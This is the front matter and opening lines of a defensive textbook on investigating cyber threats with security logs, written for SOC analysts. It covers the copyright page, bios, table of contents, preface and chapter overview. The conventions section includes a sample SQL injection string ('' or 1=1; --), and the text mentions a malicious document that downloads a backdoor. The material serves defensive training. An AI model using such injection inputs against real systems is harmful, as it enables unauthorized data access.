Effective Threat Investigation for SOC Analysts: The ultimate guide to examining various threats and attacker techniques using security logs

Effective Threat Investigation for SOC Analysts

Copyright © 2023 Packt Publishing

All rights reserved. No part of this book may be reproduced, stored in a retrieval system, or transmitted in any form or by any means, without the prior written permission of the publisher, except in the case of brief quotations embedded in critical articles or reviews.

Every effort has been made in the preparation of this book to ensure the accuracy of the information presented. However, the information contained in this book is sold without warranty, either express or implied. Neither the author, nor Packt Publishing or its dealers and distributors, will be held liable for any damages caused or alleged to have been caused directly or indirectly by this book.

Packt Publishing has endeavored to provide trademark information about all of the companies and products mentioned in this book by the appropriate use of capitals. However, Packt Publishing cannot guarantee the accuracy of this information.

Group Product Manager: Pavan Ramchandani

Publishing Product Manager: Prachi Sawant

Senior Editor: Divya Vijayan

Technical Editor: Rajat Sharma

Copy Editor: Safis Editing

Project Coordinator: Ashwin Kharwa

Proofreader: Safis Editing

Indexer: Tejal Daruwale Soni

Production Designer: Nilesh Mohite

Marketing Coordinator: Marylou De Mello

First published: August 2023

Production reference: 1270723

Published by Packt Publishing Ltd.

Grosvenor House

11 St Paul’s Square

Birmingham

B3 1RB, UK.

ISBN 978-1-83763-478-1

www.packtpub.com

To my beloved wife, Menna, I am deeply grateful for her unwavering support, her infinite patience and understanding, and her selfless sacrifices in cutting from her precious time to allow me to pursue this endeavor. And to my wonderful sons, Omar and Oday, I am forever thankful for the positive energy and boundless love they bring into my life, which has been a constant source of inspiration and motivation throughout this journey.

– Mostafa Yahia

Contributors

About the author

Mostafa Yahia is a skilled and motivated threat investigator and hunter with a wealth of experience investigating and hunting down various cyber threats. He is a proven leader in building and leading cybersecurity-managed services such as SOC and threat-hunting services. Mostafa holds a bachelor’s degree in computer science, which he earned in 2016, and has furthered his education by earning multiple industry-recognized certifications, including GCFA, GCIH, CCNA, and IBM QRadar. In addition to his professional work, Mostafa also shares his knowledge through free courses and lessons on his YouTube channel. Currently, he serves as the senior lead for cyber defence services in an MSSP company, overseeing SOC, TH, DFIR, and CA services.

I want to express my deepest gratitude to my mentors and to the remarkable people who have been by my side and provided unwavering support throughout my journey, with a special mention to my father, mother, and my beloved wife, Menna. Her encouragement, support and unwavering dedication have been a constant source of inspiration and motivation to me, and for that, I am forever grateful.

About the reviewers

Mohammed El-Haddad is a seasoned cybersecurity professional with over a decade of experience in both cybersecurity and information technology. He possesses more than seven years of pure experience in cybersecurity operations center operations, management, incident response, and threat intelligence. He is a results-driven leader who has successfully led and managed cross-functional teams of security professionals, ensuring the protection of critical assets and continuous improvement of security postures. Currently, he’s employed by Export Development Bank of Egypt (EBank) as a full-time CSOC manager.

I’d like to thank my family, mentors, managers, and colleagues for their support, guidance, and belief in me. I would also like to extend a special thanks to my father, mother, and beloved wife for their boundless love, unwavering support, and selfless sacrifices that have shaped my path in immeasurable ways, and I am forever thankful.

Muhibullah Mohammed is a seasoned digital forensics and incident response consultant specializing in cybercrime investigations, data breaches, and network intrusions. With a BSc in information technology and communication, he initially worked as a SOC analyst before advancing his skills through additional training and certifications in evidence collection, data analysis, and malware analysis. As a highly proficient DFIR consultant, Muhibullah excels in uncovering digital evidence and providing expert testimony, reflecting his commitment to excellence and continuous learning in the cybersecurity field.

I would like to express my heartfelt appreciation to my family and friends for their understanding of the dedication and effort required to research and test ever-changing data in my field of work. Their unwavering support is invaluable in my journey as a professional in the cybersecurity field.

Bhuvanesh Prabhakaran has over 11 years of experience in cybersecurity, including 8 years specifically in enterprise-level threat hunting. He has conducted various incident response investigations and enterprise-level IR war calls and served as a principal consultant for brand monitoring. He has completed the SANS 599 Purple Team certification and has been more active in his role as Blue Team lead. He specializes in SIEM content engineering and has a track record of creating thousands of real-time use cases. He also provides technical security training to corporate employees. He was the primary advisor in developing a network defense strategy against advanced persistent threats and plans for defeating advanced adversaries.

I’d like to thank my family and friends for understanding how much time and effort goes into research. Thank you to all of the trailblazers who make this industry a fun place to work every day. We appreciate everything you do!

Table of Contents

Preface

Part 1: Email Investigation Techniques

1

Investigating Email Threats

Top infection vectors

Why do attackers prefer phishing emails to gain initial access?

Email threat types

Spearphishing attachments

Spearphishing Link

Blackmail email

Business Email Compromise (BEC)

Attacker techniques to evade email security detection

Social engineering techniques to trick the victim

The anatomy of secure email gateway logs

Investigating suspicious emails

Investigating the email sender domain and SMTP server reputation

Spoofing validation

Email sender behavior

Email subject and attached filename

Investigating suspicious email content

Summary

2

Email Flow and Header Analysis

Email flow

Email header analysis

Email message content and metadata

Email X-headers

The header that was added by the hop servers

Email authentication

Investigating the email header of a spoofed message

Summary

Part 2: Investigating Windows Threats by Using Event Logs

3

Introduction to Windows Event Logs

Windows event types

Security event log types

System event log types

Application event log types

Other event log types

Windows event log analysis tools

The investigative approach for this part of the book

HELK installation

Summary

4

Tracking Accounts Login and Management

Account login tracking

Windows accounts

Tracking successful logins

Tracking successful administrator logins

Tracking logon sessions

Tracking failed logins

Login validation events

Login validation Event IDs (NTLM protocol)

Login validation Event IDs (Kerberos protocol)

Account and group management tracking

Tracking account creation, deletion, and change activities

Tracking creation and account adding to security groups

Summary

5

Investigating Suspicious Process Execution Using Windows Event Logs

Introduction to Windows processes

Windows process types

Common standard Windows processes

Windows Process Tracking events

Creator Subject

Target Subject

Process Information

Investigating suspicious process executions

Hiding in plain sight

Living Off The Land (LOTL)

Suspicious parent-child process relationships

Suspicious process paths

Summary

6

Investigating PowerShell Event Logs

Introducing PowerShell

Why do attackers prefer PowerShell?

PowerShell usage in different attack phases

PowerShell execution tracking events

Investigating PowerShell attacks

Fileless PowerShell malware

Suspicious PowerShell commands and cmdlets

Summary

7

Investigating Persistence and Lateral Movement Using Windows Event Logs

Understanding and investigating persistence techniques

Registry run keys

Windows scheduled tasks

Windows services

WMI event subscription

Understanding and investigating lateral movement techniques

Remote Desktop connection

Windows admin shares

PsExec – a Sysinternals tool

PowerShell remoting

Summary

Part 3: Investigating Network Threats by Using Firewall and Proxy Logs

8

Network Firewall Logs Analysis

Firewall logs value

Firewall logs anatomy

Log Timestamp

Source IP

Source Port

Destination IP

Destination Port

Source Interface Zone

Destination Interface Zone

Device Action

Sent Bytes

Received Bytes

Sent Packets

Received Packets

Source Geolocation country

Destination Geolocation country

Summary

9

Investigating Cyber Threats by Using the Firewall Logs

Investigating reconnaissance attacks

Public-facing IPs and port scanning

Internal network service discovery

Investigating lateral movement attacks

Remote desktop application (RDP)

Windows admin shares

PowerShell Remoting

Investigating C&C and exfiltration attacks

Investigating suspicious traffic to external IPs

Investigating DNS tunneling

Investigating data exfiltration

Investigating DoS attacks

Summary

10

Web Proxy Logs Analysis

Understanding the value of proxy logs

The significance of proxy log investigation

The anatomy of proxy logs

The source IP (src)

The source port (srcport)

The destination IP (dst)

The destination port (dstport)

The username (username)

The log timestamp (devicetime)

The device action (s-action)

The response status code (sc-status)

The HTTP method (cs-method)

The received bytes from the server by the client (sc-bytes)

The sent bytes from the client to the server (cs-bytes)

The web domain (cs-host)

The MIME type (Content-Type)

The user agent (cs(User-Agent))

The referrer URL (cs(Referer))

The website category (filter-category)

The accessed URL (cs-uri)

Summary

11

Investigating Suspicious Outbound Communications (C&C Communications) by Using Proxy Logs

Suspicious outbound communications alerts

Investigating suspicious outbound communications (C&C communications)

Investigating the web domain reputation

Investigating suspicious target web domain names

Investigating the requested web resources

Investigating the referrer URL

Investigating the communications user agent

Investigating the communications' destination port

Investigating the received and sent bytes, the HTTP method, and the Content-Type

Investigating command and control techniques

Summary

Part 4: Investigating Other Threats and Leveraging External Sources to Investigate Cyber Threats

12

Investigating External Threats

Investigating web attacks

The command injection vulnerability

The SQL injection vulnerability

Path traversal vulnerability

XSS vulnerability

Investigating WAF logs

Investigating suspicious external access to the remote services

Investigating unauthorized VPN and RDP access

Investigating compromised mailboxes

Investigating suspicious authentications to web services

Summary

13

Investigating Network Flows and Security Solutions Alerts

Investigating network flows

Investigating IPS/IDS alerts

Investigating endpoint security solutions alerts

Investigating AV alerts

Investigating EDR alerts

Investigating network sandbox and AV alerts

Summary

14

Threat Intelligence in a SOC Analyst’s Day

Introduction to threat intelligence

Strategic level

Operational level

Tactical level

The role of threat intelligence in SOCs

Investigating threats using VirusTotal

Investigating suspicious files

Investigating suspicious domains and URLs

Investigating suspicious outbound IPs

Investigating threats using IBM X-Force Exchange

Investigating suspicious domains

Investigating suspicious IPs

Investigating the file hash

Investigating suspicious inbound IPs using AbuseIPDB

Investigating threats using Google

Summary

15

Malware Sandboxing – Building a Malware Sandbox

Introducing the sandbox technology

Sandbox types

Sandbox installation requirements

Required tools for analysis

Static analysis tools

Dynamic analysis tools

Preparing the guest VM

Guest preparation steps

Tips to evade the sandbox’s detection

Analysis tools in action

Static analysis phase

Dynamic analysis phase

Hands-on demo lab

Scanning the file using YARA

Conducting static analysis

Conducting dynamic analysis

Analyzing the outputs

Summary

Index

Other Books You May Enjoy

Preface

As we continue to rely more on technology, we are exposed to cyber threats that pose a significant risk to our security and privacy. In recent years, cyber-attacks have become increasingly sophisticated, making it more difficult for security professionals to identify and investigate them. This is particularly true for Security Operations Center (SOC) analysts who are responsible for detecting and responding to cyber threats.

Effective Threat Investigation for SOC Analysts is a comprehensive guide to help SOC analysts understand the techniques used by threat actors to achieve their objectives, including initial access, execution, persistence, lateral movement, Command and Control (C&C), and exfiltration. This book also explains how to detect and investigate cyber threats by analyzing most of the possible solutions and system logs that you may receive in your organization’s Security Information and Event Management (SIEM) solution, including email security logs, Windows event logs, proxy logs, firewall logs, security solution alerts, Web Application Firewall (WAF) logs, and more. By using this book, SOC analysts can gain the knowledge and skills they need to be better prepared to detect and investigate cyber threats in their organizations.

The book covers a range of topics, starting with an in-depth analysis of email-based cyber threats and the importance of email header analysis. It also delves into the specifics of Windows account login and management tracking, the investigation of suspicious Windows process executions, PowerShell attacks, and persistence and lateral movement techniques in the Windows environment by analyzing the various Windows logs.

The book provides valuable insights into how to detect and investigate security incidents using firewall logs, proxy logs, and analyzing suspicious outbound communications, including C&C communications. It also covers the importance of WAF and application logs in detecting and investigating external threats, including various types of web attacks and suspicious external access to remote services.

In addition, the book guides SOC analysts in detecting and investigating cyber threats using network flows, Intrusion Prevention Systems (IPS)/Intrusion Detection Systems (IDS) alerts, network antivirus, and sandbox alerts; also, it teaches the SOC analyst how to investigate Endpoint Detection and Response (EDR) and antivirus alerts. The book provides an overview of threat intelligence and its importance in investigating cyber threats. It covers several tools and platforms for investigating threats, including VirusTotal, IBM-XForce, AbuseIPDB, and Google.

Finally, the book provides a comprehensive practical guide for SOC analysts on building a malware sandbox environment to investigate suspicious files using static and dynamic malware analysis techniques.

We hope this book will be a valuable resource for SOC analysts and security professionals who are committed to protecting our digital world.

Who this book is for

This book is written for SOC analysts, incident responders, incident handlers, cybersecurity analysts, cybersecurity professionals, and anyone interested in investigating cyber threats. You should have a basic understanding of cybersecurity concepts, IT infrastructure, and network protocols.

What this book covers

Chapter 1, Investigating Email Threats, provides an in-depth analysis of email-based cyber threats and the techniques used by threat actors to gain initial access. This chapter provides a comprehensive overview of the anatomy of secure email gateway logs and how to use them to investigate suspicious emails.

Chapter 2, Email Flow and Header Analysis, provides an in-depth analysis of email flow and the importance of email header analysis for investigating email-based cyber threats. It then explores the different email authentication techniques, such as SPF, DKIM, and DMARC, and the investigation of email headers of spoofed messages.

Chapter 3, Introduction to Windows Event Logs, discusses the different types of Windows event logs. It then provides an overview of the various tools and techniques that SOC analysts can use to analyze Windows event logs effectively.

Chapter 4, Tracking Accounts Login and Management, explores the critical role of account and login event tracking in detecting and investigating security incidents. It then delves into the specifics of account and group management tracking and the types of events that should be monitored for security purposes.

Chapter 5, Investigating Suspicious Process Execution Using Windows Event Logs, provides a comprehensive overview of Windows processes and different types of processes, and a solid understanding of how to investigate suspicious process executions by using the Windows event logs.

Chapter 6, Investigating PowerShell Event Logs, provides an overview of PowerShell, and how it could be used by attackers to carry out malicious activity on a system. It then delves into the specifics of PowerShell execution tracking events and how they can be used to identify suspicious activity.

Chapter 7, Investigating Persistence and Lateral Movement Using Windows Event Logs, explores attackers’ persistence and lateral movement techniques to maintain access to a compromised system and move laterally across a network and explains how these techniques can be detected and investigated using Windows event logs.

Chapter 8, Network Firewall Logs Analysis, delves into the anatomy of firewall logs and provides a solid understanding of their structure and how to effectively use them to detect and investigate security incidents.

Chapter 9, Investigating Cyber Threats by Using Firewall Logs, covers how to use firewall logs for detecting and investigating security incidents, including four major types of attacks: reconnaissance, lateral movement, C&C, and Denial of Service (DoS).

Chapter 10, Web Proxy Log Analysis, delves into the value of proxy logs in detecting and investigating security incidents. It provides an overview of the anatomy of proxy logs and the various types of information provided in them.

Chapter 11, Investigating Suspicious Outbound Communications (C&C Communications) by Using Proxy Logs, focuses on the key attributes and techniques of suspicious outbound communications, including C&C communications, and provides valuable insights into investigating such activities by analyzing web proxy logs.

Chapter 12, Investigating External Threats, provides insights into various types of web attacks and suspicious external access to remote services. It also covers WAF and application logs and their value in detecting and investigating such attacks.

Chapter 13, Investigating Network Flows and Security Solutions Alerts, guides SOC analysts in investigating cyber threats using network flows, IPS/IDS alerts, network antivirus, and sandbox alerts. Furthermore, the chapter explores the techniques to investigate alerts generated by EDR and antivirus solutions.

Chapter 14, Threat Intelligence in an SOC Analyst’s Day, provides an overview of threat intelligence and its importance in investigating cyber threats. It also covers several tools and platforms for investigating threats, including VirusTotal, IBM-XForce, AbuseIPDB, and Google.

Chapter 15, Malware Sandboxing – Building a Malware Sandbox, provides a comprehensive practical guide for SOC analysts on developing an on-premises sandbox environment to investigate suspicious files using static and dynamic malware analysis techniques. It covers the required tools for analysis, the preparation of guest VMs, various analysis tools in action, and a demo lab for better understanding.

To get the most out of this book

It is essential to have an operating system installed with VMware, which should include both Windows and Ubuntu 18.04 VMs, as well as a reliable internet connection to test external sources and download the necessary tools for each chapter.

Conventions used

There are a number of text conventions used throughout this book.

Code in text: Indicates code words in text, database table names, folder names, filenames, file extensions, pathnames, dummy URLs, user input, and Twitter handles. Here is an example: In this case, the user executed a malicious Microsoft Word document named RS4_WinATP-Intro-Invoice(9).dotm, which spawned the PowerShell.exe process to download the stage two malware file named Win-ATP-Intro-Backdoor.exe.

A block of code is set as follows:

A new process has been created.

Creator Subject:

     Security ID:  S-1-5-21-2431329721-3629005211-3263396425-1105

     Account Name:  mostafa.yahia

     Account Domain:  soc

     Logon ID:  0x89553D

When we wish to draw your attention to a particular part of a code block, the relevant lines or items are set in bold:

SELECT username,password FROM users WHERE username='' or 1=1; --' and password='';

Any command-line input or output is written as follows:

SELECT username,password FROM users WHERE username='Mostafa' and password='123456';

Bold: Indicates a new term, an important word, or words that you see onscreen. For instance, words in menus or dialog boxes appear in bold. Here is an example: The second section is the Object section, which consists of the Object Server field and is always Security.

Tips or important notes

Appear like this.

Disclaimer

The information within this book is intended to be used only in an ethical manner. Do not use any information from the book if you do not have written permission from the owner of the equipment. If you perform illegal actions, you are likely to be arrested and prosecuted to the full extent of the law. Packt Publishing does not take any responsibility if you misuse any of the information contained within the book. The information herein must only be used while testing environments with properly written authorizations from the appropriate persons responsible.

Get in touch

Feedback from our readers is always welcome.

General feedback: If you have questions about any aspect of this book, email us at [email protected] and mention the book title in the subject of your message.

Errata: Although we have taken every care to ensure the accuracy of our content, mistakes do happen. If you have found a mistake in this book, we would be grateful if you would report this to us. Please visit www.packtpub.com/support/errata and fill in the form.

Piracy: If you come across any illegal copies of our works in any form on the internet, we would be grateful if you would provide us with the location address or website name. Please contact us at [email protected] with a link to the material.

If you are interested in becoming an author: If there is a topic that you have expertise in and you are interested in either writing or contributing to a book, please visit authors.packtpub.com.

Share Your Thoughts

Once you’ve read Effective Threat Investigation for SOC Analysts, we’d love to hear your thoughts! Please click here to go straight to the Amazon review page for this book and share your feedback.

Your review is important to us and the tech community and will help us make sure we’re delivering excellent quality content.

Download a free PDF copy of this book

Thanks for purchasing this book!

Do you like to read on the go but are unable to carry your print books everywhere? Is your eBook purchase not compatible with the device of your choice?

Don’t worry, now with every Packt book you get a DRM-free PDF version of that book at no cost.

Read anywhere, any place, on any device. Search, copy, and paste code from your favorite technical books directly into your application.

The perks don’t stop there, you can get exclusive access to discounts, newsletters, and great free content in your inbox daily

Follow these simple steps to get the benefits:

Scan the QR code or visit the link below

https://packt.link/free-ebook/9781837634781

Submit your proof of purchase

That’s it! We’ll send your free PDF and other benefits to your email directly

Part 1: Email Investigation Techniques

Email has become one of the most critical communication channels in today's digital world, enabling individuals and organizations to exchange information quickly and easily. However, this convenience has also made email a prime target for cybercriminals seeking to steal sensitive data or gain unauthorized access to corporate networks. In this part of the book, we will explore the various email-based cyber threats that Security Operations Center (SOC) analysts may encounter, such as phishing and spoofing. We will also cover the essential skills and techniques that SOC analysts must have to investigate and analyze email-based cyber threats effectively. The chapters in this part will provide a comprehensive overview of email threat types, attackers’ techniques to evade email security detection, attackers’ social engineering techniques to trick a victim, the anatomy of secure email gateway logs, email flow, email header analysis, email authentication, and techniques to investigate suspicious emails. By the end of this part, you will have the knowledge and skills you need to investigate and respond to email-based cyber threats effectively.

This part has the following chapters:

Chapter 1, Investigating Email Threats

Chapter 2, Email Flow and Header Analysis

1

Investigating Email Threats

Email threats are among the most common types of attacks encountered by Security Operations Center (SOC) analysts, and they often occur multiple times during a working shift. Moreover, malicious emails are often the first step in an attacker’s attempt